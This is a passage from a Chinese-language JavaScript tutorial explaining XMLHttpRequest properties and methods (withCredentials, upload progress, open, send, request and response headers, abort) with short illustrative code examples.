注意,如果发生网络错误(比如服务器无法连通),onerror事件无法获取报错信息。也就是说,可能没有错误对象,所以这样只能显示报错的提示。
2.11 XMLHttpRequest.withCredentials 跨域请求时用户信息是否会包含在请求中
XMLHttpRequest.withCredentials属性是一个布尔值,表示跨域请求时,用户信息(比如 Cookie 和认证的 HTTP 头信息)是否会包含在请求之中,默认为false,即向example.com发出跨域请求时,不会发送example.com设置在本机上的 Cookie(如果有的话)。
如果需要跨域 AJAX 请求发送 Cookie,需要withCredentials属性设为true。注意,同源的请求不需要设置这个属性。
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
为了让这个属性生效,服务器必须显式返回Access-Control-Allow-Credentials这个头信息。
Access-Control-Allow-Credentials: true
withCredentials属性打开的话,跨域请求不仅会发送 Cookie,还会设置远程主机指定的 Cookie。反之也成立,如果withCredentials属性没有打开,那么跨域的 AJAX 请求即使明确要求浏览器设置 Cookie,浏览器也会忽略。
注意,脚本总是遵守同源政策,无法从document.cookie或者 HTTP 回应的头信息之中,读取跨域的 Cookie,withCredentials属性不影响这一点。
2.12 XMLHttpRequest.upload 上传文件对象
XMLHttpRequest 不仅可以发送请求,还可以发送文件,这就是 AJAX 文件上传。发送文件以后,通过XMLHttpRequest.upload属性可以得到一个对象,通过观察这个对象,可以得知上传的进展。主要方法就是监听这个对象的各种事件:loadstart、loadend、load、abort、error、progress、timeout。(使用时加on)
假定网页上有一个<progress>元素。
<progress min="0" max="100" value="0">0% complete</progress>
文件上传时,对upload属性指定progress事件的监听函数,即可获得上传的进度。
function upload(blobOrFile) {
  var xhr = new XMLHttpRequest();
  xhr.open('POST', '/server', true);
  xhr.onload = function (e) {};
  var progressBar = document.querySelector('progress');
  xhr.upload.onprogress = function (e) {
    if (e.lengthComputable) {
      progressBar.value = (e.loaded / e.total) * 100;
      // 兼容不支持 <progress> 元素的老式浏览器
      progressBar.textContent = progressBar.value;
    }
  };
  xhr.send(blobOrFile);
}
upload(new Blob(['hello world'], {type: 'text/plain'}));
3、XMLHttpRequest 的实例方法
3.1 XMLHttpRequest.open() 指定请求参数
XMLHttpRequest.open()方法用于指定 HTTP 请求的参数,或者说初始化 XMLHttpRequest 实例对象。它一共可以接受五个参数。
void open(
   string method, // 字符串,请求方法GET、POST、PUT、DELETE、HEAD等
   string url,// 字符串,请求链接URL
   optional boolean async, // 可选,布尔值,是否异步,默认true
   optional string user,// 可选,字符串,认证的用户名
   optional string password// 可选,字符串,认证的密码
);
method:表示 HTTP 动词方法,比如GET、POST、PUT、DELETE、HEAD等。url: 表示请求发送目标 URL。async: 布尔值,表示请求是否为异步,默认为true。如果设为false,则send()方法只有等到收到服务器返回了结果,才会进行下一步操作。该参数可选。由于同步 AJAX 请求会造成浏览器失去响应,许多浏览器已经禁止在主线程使用,只允许 Worker 里面使用。所以,这个参数轻易不应该设为false。user:表示用于认证的用户名,默认为空字符串。该参数可选。password:表示用于认证的密码,默认为空字符串。该参数可选。
注意,如果对使用过open()方法的 AJAX 请求,再次使用这个方法,等同于调用abort(),即终止请求。
下面发送 POST 请求的例子。
var xhr = new XMLHttpRequest();
xhr.open('POST', encodeURI('someURL'));
3.2 XMLHttpRequest.send() 发送请求
XMLHttpRequest.send()方法用于实际发出 HTTP 请求。它的参数是可选的,如果不带参数,就表示 HTTP 请求只有一个 URL,没有数据体,典型例子就是 GET 请求;如果带有参数,就表示除了头信息,还带有包含具体数据的信息体,典型例子就是 POST 请求。
下面是 GET 请求的例子。
var xhr = new XMLHttpRequest();
xhr.open('GET',
  'http://www.example.com/?id=' + encodeURIComponent(id),
  true
);
xhr.send(null);
上面代码中,GET请求的参数,作为查询字符串附加在 URL 后面。
下面是发送 POST 请求的例子。
var xhr = new XMLHttpRequest();
var data = 'email='
  + encodeURIComponent(email)
  + '&password='
  + encodeURIComponent(password);
xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(data);
注意,所有 XMLHttpRequest 的监听事件,都必须在send()方法调用之前设定。
send方法的参数就是发送的数据。多种格式的数据,都可以作为它的参数。
void send();
void send(ArrayBufferView data); // 二进制数组
void send(Blob data); // 二进制大对象
void send(Document data); // 文档对象
void send(String data); // 字符串数据
void send(FormData data); // 表单数据?
如果send()发送 DOM 对象,在发送之前,数据会先被串行化。如果发送二进制数据,最好是发送ArrayBufferView或Blob对象,这使得通过 Ajax 上传文件成为可能。
下面是发送表单数据的例子。FormData对象可以用于构造表单数据。
var formData = new FormData();
formData.append('username', '张三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);
var xhr = new XMLHttpRequest();
xhr.open('POST', '/register');
xhr.send(formData);
上面代码中,FormData对象构造了表单数据,然后使用send()方法发送。它的效果与发送下面的表单数据是一样的。
<form id='registration' name='registration' action='/register'>
  <input type='text' name='username' value='张三'>
  <input type='email' name='email' value='zhangsan@example.com'>
  <input type='number' name='birthDate' value='1940'>
  <input type='submit' onclick='return sendForm(this.form);'>
</form>
下面的例子是使用FormData对象加工表单数据,然后再发送。
function sendForm(form) {
  var formData = new FormData(form);
  formData.append('csrf', 'e69a18d7db1286040586e6da1950128c');
  var xhr = new XMLHttpRequest();
  xhr.open('POST', form.action, true);
  xhr.onload = function() {
    // ...
  };
  xhr.send(formData);
  return false;
}
var form = document.querySelector('#registration');
sendForm(form);
3.3 XMLHttpRequest.setRequestHeader() 设置请求头
XMLHttpRequest.setRequestHeader()方法用于设置浏览器发送的 HTTP 请求的头信息。该方法必须在open()之后、send()之前调用。如果该方法多次调用,设定同一个字段,则每一次调用的值会被合并成一个单一的值发送。
该方法接受两个参数。第一个参数是字符串,表示头信息的字段名,第二个参数是字段值。
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));
上面代码首先设置头信息Content-Type,表示发送 JSON 格式的数据;然后设置Content-Length,表示数据长度;最后发送 JSON 数据。
3.4 XMLHttpRequest.overrideMimeType() 覆盖返回的MIME类型
XMLHttpRequest.overrideMimeType()方法用来指定 MIME 类型,覆盖服务器返回的真正的 MIME 类型,从而让浏览器进行不一样的处理。举例来说,服务器返回的数据类型是text/xml,由于种种原因浏览器解析不成功报错,这时就拿不到数据了。为了拿到原始数据,我们可以把 MIME 类型改成text/plain(普通文本),这样浏览器就不会去自动解析,从而我们就可以拿到原始文本了。
xhr.overrideMimeType('text/plain')
注意,该方法必须在send()方法之前调用。
修改服务器返回的数据类型,不是正常情况下应该采取的方法。如果希望服务器返回指定的数据类型,可以用responseType属性告诉服务器,就像下面的例子。只有在服务器无法返回某种数据类型时,才使用overrideMimeType()方法。
var xhr = new XMLHttpRequest();
xhr.onload = function(e) {
  var arraybuffer = xhr.response;
  // ...
}
xhr.open('GET', url);
xhr.responseType = 'arraybuffer';
xhr.send();
3.5 XMLHttpRequest.getResponseHeader() 获取响应头信息指定字段
XMLHttpRequest.getResponseHeader()方法**返回 HTTP 头信息指定字段的值,**如果还没有收到服务器回应或者指定字段不存在,返回null。该方法的参数不区分大小写。
function getHeaderTime() {
  console.log(this.getResponseHeader("Last-Modified"));
}
var xhr = new XMLHttpRequest();
xhr.open('HEAD', 'yourpage.html');
xhr.onload = getHeaderTime;
xhr.send();
如果有多个字段同名,它们的值会被连接为一个字符串,每个字段之间使用“逗号+空格”分隔。
3.6 XMLHttpRequest.getAllResponseHeaders() 获取全部头信息
XMLHttpRequest.getAllResponseHeaders()方法返回一个字符串,表示服务器发来的所有 HTTP 头信息。格式为字符串,每个头信息之间使用CRLF分隔(回车+换行),如果没有收到服务器回应,该属性为null。如果发生网络错误,该属性为空字符串。
var xhr = new XMLHttpRequest();
xhr.open('GET', 'foo.txt', true);
xhr.send();
xhr.onreadystatechange = function () {
  if (this.readyState === 4) {
    var headers = xhr.getAllResponseHeaders();
  }
}
上面代码用于获取服务器返回的所有头信息。它可能是下面这样的字符串。
date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n
然后,对这个字符串进行处理。
var arr = headers.trim().split(/[\r\n]+/);
var headerMap = {};
arr.forEach(function (line) {
  var parts = line.split(': ');
  var header = parts.shift();
  var value = parts.join(': ');
  headerMap[header] = value;
});
headerMap['content-length'] // "6502"
3.7 XMLHttpRequest.abort() 终止请求
XMLHttpRequest.abort()方法用来终止已经发出的 HTTP 请求。调用这个方法以后,readyState属性变为4,status属性变为0。
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/page.php', true);
setTimeout(function () {
  if (xhr) {
    xhr.abort();
    xhr = null;
  }
}, 5000);
上面代码在发出5秒之后,终止一个 AJAX 请求。
- 点赞
 - 收藏
 - 关注作者
 
            
           
评论(0)